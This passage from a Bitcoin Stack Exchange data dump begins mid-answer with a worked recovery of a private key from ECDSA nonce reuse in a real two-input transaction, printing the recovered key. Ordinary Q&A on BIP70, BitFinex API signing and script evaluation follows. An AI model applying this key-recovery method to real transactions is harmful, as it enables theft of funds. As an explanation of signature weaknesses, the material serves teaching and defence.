00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;the input scripts&lt;/h2&gt;&#xA;&lt;p&gt;the input script consists of:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the total length (8a)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the signature&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the public key&lt;/p&gt;&#xA;&lt;p&gt;8a&lt;br /&gt;&#xA;47  30 44 02 20 d4 7c e4 c0 25 c3 5e c4 40 bc 81 d9 98 34 a6 24 87 51 61 a2 6b f5 6e f7 fd c0 f5 d5 2f 84 3a d1 02 20 44 e1 ff 2d fd 81 02 cf 7a 47 c2 1d 5c 9f d5 70 16 10 d0 49 53 c6 83 65 96 b4 fe 9d d2 f5 3e 3e 01&#xA;41  04 db d0 c6 15 32 27 9c f7 29 81 c3 58 4f c3 22 16 e0 12 76 99 63 5c 27 89 f5 49 e0 73 0c 05 9b 81 ae 13 30 16 a6 9c 21 e2 3f 18 59 a9 5f 06 d5 2b 7b f1 49 a8 f2 fe 4e 85 35 c8 a8 29 b4 49 c5 ff&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;the signature is an asn1 encoded r+s value + a hashtype indicator (01)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;30 44 &#xA;    02 20  d4 7c e4 c0 25 c3 5e c4 40 bc 81 d9 98 34 a6 24 87 51 61 a2 6b f5 6e f7 fd c0 f5 d5 2f 84 3a d1&#xA;    02 20  44 e1 ff 2d fd 81 02 cf 7a 47 c2 1d 5c 9f d5 70 16 10 d0 49 53 c6 83 65 96 b4 fe 9d d2 f5 3e 3e&#xA;01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so now we can extract these values from the transaction:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pk 04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff&#xA;r  d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1&#xA;s1 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e&#xA;s2 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;next we need to calculate the message hashes.&lt;/p&gt;&#xA;&lt;h2&gt;prepare&lt;/h2&gt;&#xA;&lt;p&gt;Strip the input scripts, and add the hashtype&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;01 00 00 00&#xA;02&#xA; f6 4c 60 3e 2f 9f 4d af 70 c2 f4 25 2b 2d cd b0 7c c0 19 2b 72 38 bc 9c 3d ac ba e5 55 ba f7 01 01 00 00 00  00  ff ff ff ff&#xA; 29 f8 41 db 2b a0 ca fa 3a 2a 89 3c d1 d8 c3 e9 62 e8 67 8f c6 1e be 89 f4 15 a4 6b c8 d9 85 4a 01 00 00 00  00  ff ff ff ff&#xA;01&#xA; a0 86 01 00 00 00 00 00 19 76 a9 14 70 79 2f b7 4a 5d f7 45 ba c0 7d f6 fe 02 0f 87 1c bb 29 3b 88 ac&#xA;00 00 00 00&#xA;01 00 00 00   &amp;lt;&amp;lt;&amp;lt; hashtype&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;calculating m1&lt;/h2&gt;&#xA;&lt;p&gt;replace the first input with the corresponding output script&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;01 00 00 00&#xA;02&#xA; f6 4c 60 3e 2f 9f 4d af 70 c2 f4 25 2b 2d cd b0 7c c0 19 2b 72 38 bc 9c 3d ac ba e5 55 ba f7 01 01 00 00 00  19 76 a9 14 70 79 2f b7 4a 5d f7 45 ba c0 7d f6 fe 02 0f 87 1c bb 29 3b 88 ac  ff ff ff ff&#xA; 29 f8 41 db 2b a0 ca fa 3a 2a 89 3c d1 d8 c3 e9 62 e8 67 8f c6 1e be 89 f4 15 a4 6b c8 d9 85 4a 01 00 00 00  00  ff ff ff ff&#xA;01&#xA; a0 86 01 00 00 00 00 00 19 76 a9 14 70 79 2f b7 4a 5d f7 45 ba c0 7d f6 fe 02 0f 87 1c bb 29 3b 88 ac&#xA;00 00 00 00&#xA;01 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then do sha256(sha256(modified transaction))&lt;/p&gt;&#xA;&lt;p&gt;this will result in : c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e&lt;/p&gt;&#xA;&lt;h2&gt;calculating m2&lt;/h2&gt;&#xA;&lt;p&gt;replace the second input with the corresponding output script&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;01 00 00 00&#xA;02&#xA; f6 4c 60 3e 2f 9f 4d af 70 c2 f4 25 2b 2d cd b0 7c c0 19 2b 72 38 bc 9c 3d ac ba e5 55 ba f7 01 01 00 00 00  00  ff ff ff ff&#xA; 29 f8 41 db 2b a0 ca fa 3a 2a 89 3c d1 d8 c3 e9 62 e8 67 8f c6 1e be 89 f4 15 a4 6b c8 d9 85 4a 01 00 00 00  19 76 a9 14 70 79 2f b7 4a 5d f7 45 ba c0 7d f6 fe 02 0f 87 1c bb 29 3b 88 ac  ff ff ff ff&#xA;01&#xA; a0 86 01 00 00 00 00 00 19 76 a9 14 70 79 2f b7 4a 5d f7 45 ba c0 7d f6 fe 02 0f 87 1c bb 29 3b 88 ac&#xA;00 00 00 00&#xA;01 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then do sha256(sha256(modified transaction))&lt;/p&gt;&#xA;&lt;p&gt;this will result in : 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc&lt;/p&gt;&#xA;&lt;p&gt;Note that the redeemed output scripts and the output script of this transaction are all identical in this case. That is not usually so.&lt;/p&gt;&#xA;&lt;p&gt;so our message hashes are:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;m1 c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e&#xA;m2 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc&#xA;s1 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e&#xA;s2 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;m1-m2 = 0xA931DC8C0E011326AE4D6FAB7DED290B196966154E0A73A0DF434413217B3E92&lt;br&gt;&#xA;s1-s2 = 0xAA82E2B8191F2B00C8788571CC8BEA41086440225A4B5CBED84D02CF638123D4&lt;/p&gt;&#xA;&lt;p&gt;modulare inverse of s1-s2 = 0xf7d5417b3844fd8f4b3d909979fa7480ce094fb233d759274fd6c3aa6cf86593&lt;/p&gt;&#xA;&lt;p&gt;so our secret 'k' value is:&lt;/p&gt;&#xA;&lt;p&gt;-&amp;gt; (m1-m2)/(s1-s2) = 0x7a1a7e52797fc8caaa435d2a4dace39158504bf204fbe19f14dbb427faee50ae&lt;/p&gt;&#xA;&lt;p&gt;the private key can then be calculated :&lt;/p&gt;&#xA;&lt;p&gt;s1*k-m1 = 0x797035d79964e4b74fbbef4460379c410261cd01de43278bc2a7efaa541dd8e9 - 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e&lt;br&gt;&#xA;= 0xB88D652EFF3056CEBFE1E72343C6CA67D7E3DAF5A1F76E366680D6619CDBCDBC&lt;/p&gt;&#xA;&lt;p&gt;(s1*k-m1)/r = 0xc477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96&lt;/p&gt;&#xA;&lt;p&gt;You can experiment with these calculations &lt;a href=&quot;http://rawcdn.githack.com/nlitsme/bitcoinexplainer/aa50e86e8c72c04a7986f5f7c43bc2f98df94107/calculator.html# &quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Explanation of Transaction Contents&lt;/h1&gt;&#xA;&lt;p&gt;A transaction consists of a number of inputs, and a number of outputs.&lt;/p&gt;&#xA;&lt;p&gt;An input refers to one of the outputs from another transaction, and contains a script which proofs that this transaction is allowed to redeem that output.&lt;/p&gt;&#xA;&lt;p&gt;An output consists of a BTC value, and a script which will be used to validate the proof presented in the input script at the time this output will be redeemed.&lt;/p&gt;&#xA;&lt;p&gt;When an output is redeemed, the input and output scripts are concatenated, and evaluated by the bitcoin client. the result must be 'TRUE'.&lt;/p&gt;&#xA;&lt;p&gt;The script language is a very simple, non-turing complete, stack based language.&lt;/p&gt;&#xA;&lt;p&gt;The most common script looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;---- input script ( aka scriptSig )&#xA;PUSH signature&#xA;PUSH publickey&#xA;---- output script ( aka scriptPubKey )&#xA;DUP&#xA;HASH160&#xA;PUSH pubkeyhash&#xA;EQUALVERIFY&#xA;CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that the 'PUSH' is not explicitly labeled as PUSH in the bitcoin script description.&lt;/p&gt;&#xA;&lt;p&gt;In the output script, first it is verified that the addresshash ( which is the bitcoin address in binary format ) corresponds to the public key from the input.&#xA;Then with &lt;code&gt;CHECKSIG&lt;/code&gt; it is verified that the specified signature is valid for this transaction.&lt;/p&gt;&#xA;" OwnerUserId="13163" LastEditorUserId="13163" LastEditDate="2022-05-10T14:49:39.240" LastActivityDate="2022-05-10T14:49:39.240" CommentCount="14" ContentLicense="CC BY-SA 4.0" />
  <row Id="25830" PostTypeId="1" AcceptedAnswerId="26973" CreationDate="2014-06-08T00:47:18.197" Score="0" ViewCount="397" Body="&lt;p&gt;is it possible to add arguments such as BTC amount to a bip 70 URI, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin:?r=http://127.0.0.1:8000/paymentobject/?amount=10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already tried with the backwards compatible URI:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin:?amount=10&amp;amp;r=http://127.0.0.1:8000/paymentobject/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the client doesnt seem to register anything other than the '&lt;strong&gt;r=&lt;/strong&gt;' param.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help greatly appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Added function from django views.py for extra explenation-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def protoresponse(request):&#xA;    xpo = payments_pb2.ParseFromString(request)&#xA;&#xA;    returnaddress = xpo.Payment.refund_to&#xA;    transactions = xpo.transactions&#xA;    memo = xpo.Payment.memo&#xA;&#xA;    xpa = payments_pb2.PaymentACK&#xA;    xpa.payment = xpo.SerializeToString()&#xA;    xpa.memo = u'success, i think'&#xA;    return HttpResponse(xpa.SerializeToString(), content_type=&quot;application/octet-stream&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, the function is defined as &lt;code&gt;protoresponse&lt;/code&gt; because we have &lt;code&gt;optional string payment_url = 6;&lt;/code&gt; in the payments.proto file.&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="2306" LastEditDate="2014-12-13T05:57:05.680" LastActivityDate="2014-12-13T05:57:05.680" Title="Can I pass values over a bitcoin bip 70 URI?" Tags="|bitcoind|bip21-uri|bip70-payment-protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25831" PostTypeId="1" AcceptedAnswerId="26849" CreationDate="2014-06-08T00:50:10.350" Score="1" ViewCount="1670" Body="&lt;p&gt;I'm looking for a proper guide to creating a CryptoCurrency. I know this probably won't be easy, but I'm really determined, and do know how to code in some languages. (C++ Beginner).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard a link say to apply a new genesis block to the code, don't even know where to start with this stuff.&lt;/p&gt;&#xA;" OwnerUserId="17122" LastEditorUserId="24974" LastEditDate="2017-10-10T20:59:08.500" LastActivityDate="2017-10-10T20:59:08.500" Title="How to make a CryptoCurrency (preferably using Scrypt) in depth" Tags="|client|scrypt|" AnswerCount="1" CommentCount="0" ClosedDate="2017-10-11T19:41:14.620" ContentLicense="CC BY-SA 3.0" />
  <row Id="25833" PostTypeId="1" CreationDate="2014-06-08T03:13:54.403" Score="1" ViewCount="42" Body="&lt;p&gt;I would like to confirm/verify if I could use some images/screenshots of multibit on my educational website for my wallet section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you had a high resolution image of your multibit gray bitcoin logo that is greater than 175x175 pixels that would be fantastic!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Derek&lt;/p&gt;&#xA;" OwnerUserId="17124" LastActivityDate="2014-06-08T07:19:15.250" Title="Multibit images/screenshots in educational website" Tags="|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25835" PostTypeId="1" AcceptedAnswerId="25837" CreationDate="2014-06-08T06:45:28.143" Score="6" ViewCount="3361" Body="&lt;p&gt;Trying to get authentication with BitFinex to work. Docs here: &lt;a href=&quot;https://www.bitfinex.com/pages/api&quot; rel=&quot;nofollow&quot;&gt;https://www.bitfinex.com/pages/api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Say the client wants to make a request to POST&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://api.bitfinex.com/v1/order/new&quot; rel=&quot;nofollow&quot;&gt;https://api.bitfinex.com/v1/order/new&lt;/a&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;With a payload of &lt;code&gt;{ &quot;request&quot;:&quot;/v1/order/new&quot;, &quot;nonce&quot;: &quot;1234&quot;, &quot;option1&quot;: ... }&lt;/code&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The nonce provided must be strictly increasing.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To authenticate a request, use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;payload = parameters-dictionary -&amp;gt; JSON encode -&amp;gt; base64 &#xA;signature = HMAC-SHA384(payload, api-secret) as hexadecimal &#xA;send (api-key, payload, signature) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;These are encoded as HTTP headers named:&#xA;  X-BFX-APIKEY X-BFX-PAYLOAD X-BFX-SIGNATURE&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the c# code, which follows the above example, but generates a HTTP 400 Bad Request. Any ideas how to fix?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        long nonce = DateTime.Now.ToUnixTimestampMS(); //returns a strictly increasing timestamp based number e.g. 1402207693893&#xA;&#xA;        string path = &quot;https://api.bitfinex.com/v1/balances&quot;;&#xA;        string paramDict = &quot;{\&quot;request\&quot;: \&quot;/v1/balances\&quot;,\&quot;nonce\&quot;: \&quot;&quot; + nonce + &quot;\&quot;}&quot;; //ie. {&quot;request&quot;: &quot;/v1/balances&quot;,&quot;nonce&quot;: &quot;1402207693893&quot;}&#xA;        string payload = Convert.ToBase64String(Encoding.UTF8.GetBytes(paramDict));&#xA;&#xA;        //API Sign&#xA;        HMACSHA384 hmac = new HMACSHA384(Encoding.UTF8.GetBytes(APISECRET));           //My API SECRET&#xA;        byte[] hash = hmac.ComputeHash(Encoding.UTF8.GetBytes(payload));&#xA;        string hexHash = BitConverter.ToString(hash).Replace(&quot;-&quot;, &quot;&quot;);&#xA;&#xA;        NameValueCollection headers = new NameValueCollection();&#xA;        headers.Add(&quot;X-BFX-APIKEY&quot;, APIKEY);                                            //My API KEY&#xA;        headers.Add(&quot;X-BFX-PAYLOAD&quot;, payload);&#xA;        headers.Add(&quot;X-BFX-SIGNATURE&quot;, hexHash);&#xA;&#xA;        //POST data&#xA;        try&#xA;        {&#xA;            //create post request&#xA;            HttpWebRequest request = (HttpWebRequest) HttpWebRequest.Create(path);&#xA;            request.KeepAlive = true;&#xA;            request.Method = &quot;POST&quot;;&#xA;&#xA;            //add headers&#xA;            request.Headers.Add(headers);&#xA;&#xA;            //write out payload&#xA;            byte[] byteArray = System.Text.Encoding.UTF8.GetBytes(paramDict);&#xA;            request.ContentLength = byteArray.Length;&#xA;            using (var writer = request.GetRequestStream()){writer.Write(byteArray, 0, byteArray.Length);}&#xA;&#xA;            //read reply&#xA;            using (var response = request.GetResponse() as System.Net.HttpWebResponse)&#xA;            {&#xA;                using (var reader = new System.IO.StreamReader(response.GetResponseStream()))&#xA;                {&#xA;                    //get reply (JSON)&#xA;                    string responseContent = reader.ReadToEnd();&#xA;                }&#xA;            }&#xA;        }&#xA;        catch (Exception e)&#xA;        {&#xA;            //always throws an exception here&#xA;            Debug.WriteLine(e.Message);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13283" LastEditorUserId="23149" LastEditDate="2015-01-30T06:22:24.207" LastActivityDate="2015-01-30T06:22:24.207" Title="BitFinex API call returns 400 bad request" Tags="|api|authentication|bitfinex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25836" PostTypeId="2" ParentId="25833" CreationDate="2014-06-08T07:19:15.250" Score="2" Body="&lt;p&gt;I'm one of the MultiBit devs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything with MultBit is MIT licence so you are free to reuse anything. The website is also open source and is on github as the project multibit-website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some larger icons in the github for multibit - it's in something like src/main/resources/images. I think there is a 512x512 pixel one in there&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-06-08T07:19:15.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25837" PostTypeId="2" ParentId="25835" CreationDate="2014-06-08T08:35:05.733" Score="6" Body="&lt;p&gt;Finally discovered the fix: hexhash has to be lower case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string hexHash = BitConverter.ToString(hash).Replace(&quot;-&quot;, &quot;&quot;).ToLower();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13283" LastActivityDate="2014-06-08T08:35:05.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25838" PostTypeId="1" AcceptedAnswerId="25841" CreationDate="2014-06-08T10:21:04.423" Score="3" ViewCount="1347" Body="&lt;p&gt;I would like to count script step by step, but I have problem with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have such transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;locktime&quot;: 0,&#xA;    &quot;txid&quot;: &quot;c0fdb774710943d8dbb5f823c00394452fb1a1d63a3a7a9fb8de41299b37f090&quot;,&#xA;    &quot;version&quot;: 1,&#xA;    &quot;vin&quot;: [&#xA;        {&#xA;        &quot;scriptSig&quot;: {&#xA;            &quot;asm&quot;: &quot;3045022074f35af390c41ef1f5395d11f6041cf55a6d7dab0acdac8ee746c1f2de7a43b3022100b3dc3d916b557d378268a856b8f9a98b9afaf45442f5c9d726fce343de835a5801 02c34538fc933799d972f55752d318c0328ca2bacccd5c7482119ea9da2df70a2f&quot;,&#xA;            &quot;hex&quot;: &quot;483045022074f35af390c41ef1f5395d11f6041cf55a6d7dab0acdac8ee746c1f2de7a43b3022100b3dc3d916b557d378268a856b8f9a98b9afaf45442f5c9d726fce343de835a58012102c34538fc933799d972f55752d318c0328ca2bacccd5c7482119ea9da2df70a2f&quot;&#xA;        },&#xA;        &quot;sequence&quot;: 4294967295,&#xA;        &quot;txid&quot;: &quot;e1142c945b73826b552407916c13402fb873fb1d3f7c16fa561367aaddd076a7&quot;,&#xA;        &quot;vout&quot;: 0&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot;: [&#xA;        {&#xA;        &quot;n&quot;: 0,&#xA;        &quot;scriptPubKey&quot;: {&#xA;            &quot;addresses&quot;: [&#xA;            &quot;1PQnDVEi2u4e8rFmE3d9J51eQz8cQXpybC&quot;&#xA;            ],&#xA;            &quot;asm&quot;: &quot;OP_DUP OP_HASH160 f5d214041d44860c8c08202a9e4263fc47a2fe88 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot;: &quot;76a9145e4ff47ceb3a51cdf7ddd80afc4acc5a692dac2d88ac&quot;,&#xA;            &quot;reqSigs&quot;: 1,&#xA;            &quot;type&quot;: &quot;pubkeyhash&quot;&#xA;        },&#xA;        &quot;value&quot;: 0.58407&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First of all I put on the stack&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3045022074f35af390c41ef1f5395d11f6041cf55a6d7dab0acdac8ee746c1f2de7a43b3022100b3dc3d916b557d378268a856b8f9a98b9afaf45442f5c9d726fce343de835a5801&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02c34538fc933799d972f55752d318c0328ca2bacccd5c7482119ea9da2df70a2f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I start execute script, so&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;after OP_DUP the stack looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3045022074f35af390c41ef1f5395d11f6041cf55a6d7dab0acdac8ee746c1f2de7a43b3022100b3dc3d916b557d378268a856b8f9a98b9afaf45442f5c9d726fce343de835a5801&#xA;02c34538fc933799d972f55752d318c0328ca2bacccd5c7482119ea9da2df70a2f&#xA;02c34538fc933799d972f55752d318c0328ca2bacccd5c7482119ea9da2df70a2f&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;to execute OP_HASH160, I get the first element on the top of stack, change hex to bytes, count Hash160 using formula: Hash160(x) = RIPEMD160(SHA256(x)) and put new value on stack. In Javascript it looks like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CryptoJS.RIPEMD160(hexToBytes(CryptoJS.SHA256(hexToBytes(&quot;02c34538fc933799d972f55752d318c0328ca2bacccd5c7482119ea9da2df70a2f&quot;)).toString())).toString()&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and it returns value &quot;38ef3b4b7f01ea41e2013d4b77f63c998967efc9&quot;, so the new value of stack is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    3045022074f35af390c41ef1f5395d11f6041cf55a6d7dab0acdac8ee746c1f2de7a43b3022100b3dc3d916b557d378268a856b8f9a98b9afaf45442f5c9d726fce343de835a5801&#xA;    02c34538fc933799d972f55752d318c0328ca2bacccd5c7482119ea9da2df70a2f&#xA;    38ef3b4b7f01ea41e2013d4b77f63c998967efc9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the next step of counting script is putting f5d214041d44860c8c08202a9e4263fc47a2fe88 on the stack&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3045022074f35af390c41ef1f5395d11f6041cf55a6d7dab0acdac8ee746c1f2de7a43b3022100b3dc3d916b557d378268a856b8f9a98b9afaf45442f5c9d726fce343de835a5801&#xA;02c34538fc933799d972f55752d318c0328ca2bacccd5c7482119ea9da2df70a2f&#xA;38ef3b4b7f01ea41e2013d4b77f63c998967efc9&#xA;f5d214041d44860c8c08202a9e4263fc47a2fe88&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And now, I should check if 38ef3b4b7f01ea41e2013d4b77f63c998967efc9 is equal f5d214041d44860c8c08202a9e4263fc47a2fe88 and I get of course false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? I got the same problem with all transactions, which I checked, so probably I don't understand how scripts work or how OP_HASH160 is counted.&lt;/p&gt;&#xA;" OwnerUserId="17107" LastActivityDate="2014-06-08T16:16:57.020" Title="How to get value of script?" Tags="|transactions|script|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25839" PostTypeId="2" ParentId="25830" CreationDate="2014-06-08T10:22:23.297" Score="1" Body="&lt;p&gt;The purpose of the BIP70 is to provide a secondary URL, which, when visited by your client wallet, will provide all the details to make the transaction, and a whole lot more. It was designed to be linked to POS systems which would generate the information and produce a unique URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the standard Bitcoin URI scheme, it is possible to pass the amount, but you also need to pass the pay-to address.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-06-08T10:22:23.297" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="25840" PostTypeId="2" ParentId="25838" CreationDate="2014-06-08T10:39:58.693" Score="1" Body="&lt;p&gt;You are using the wrong output-script. The output-script you are using is the one you would need for spending the bitcoins send in this transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to use the outputscript which the input is refering to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;txid&quot;: &quot;e1142c945b73826b552407916c13402fb873fb1d3f7c16fa561367aaddd076a7&quot;,&#xA;&quot;vout&quot;: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is: &lt;code&gt;76a9145e4ff47ceb3a51cdf7ddd80afc4acc5a692dac2d88ac&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I checked your json and noticed that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;asm&quot;: &quot;OP_DUP OP_HASH160 f5d214041d44860c8c08202a9e4263fc47a2fe88 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;&quot;hex&quot;: &quot;76a9145e4ff47ceb3a51cdf7ddd80afc4acc5a692dac2d88ac&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;looking at the hex value and print it out as human readable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;76a9145e4ff47ceb3a51cdf7ddd80afc4acc5a692dac2d88ac = OP_DUP OP_HASH160 5e4ff47ceb3a51cdf7ddd80afc4acc5a692dac2d OP_EQUALVERIFY OP_CHECKSIG &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you see its different to the asm value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f5d214041d44860c8c08202a9e4263fc47a2fe88           = 1PQnDVEi2u4e8rFmE3d9J51eQz8cQXpybC&#xA;76a9145e4ff47ceb3a51cdf7ddd80afc4acc5a692dac2d88ac = 19bgJQVTweVk5umYme3Xe5VYTnySRp1Yi9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see those are two different bitcoin-addresses in there. If you use the hex value as script you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="17113" LastEditDate="2014-06-08T10:56:00.883" LastActivityDate="2014-06-08T10:56:00.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25841" PostTypeId="2" ParentId="25838" CreationDate="2014-06-08T11:44:46.793" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Thank you for answer! :) Could you tell one more thing? How can I get&#xA;  proper output script? I thought that I have all information needed to&#xA;  count in this transaction. If I have for example this transaction link&#xA;  , what should I do? What scriptPubKey shoud I use?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Dont get scared by the wall of Text following, I just want to make it as understandable as I can:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give this TX-Data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;txid&quot;: &quot;1ea183203c2a2b8db9a84b0d90bfc0b072f0484ec6536b95f69733ae251a3288&quot;,&#xA;  &quot;version&quot;: 2,&#xA;  &quot;locktime&quot;: 0,&#xA;  &quot;tx-comment&quot;: &quot;&quot;,&#xA;  &quot;vin&quot;: [&#xA;    {&#xA;      &quot;txid&quot;: &quot;8094704e00978c58f3d51d6c44b460af6c04dac86ef1b79c202208e5c65d0a50&quot;,&#xA;      &quot;vout&quot;: 0,&#xA;      &quot;scriptSig&quot;: {&#xA;        &quot;asm&quot;: &quot;304402205474316eb33e1c61e4fa099a0a99d9448e0ffa380b1da8d894e0101fd0eecf7e02206b4bd7498894eb626b1ab1945ddff720b240e8d992e756ff9711a7390951d8a501 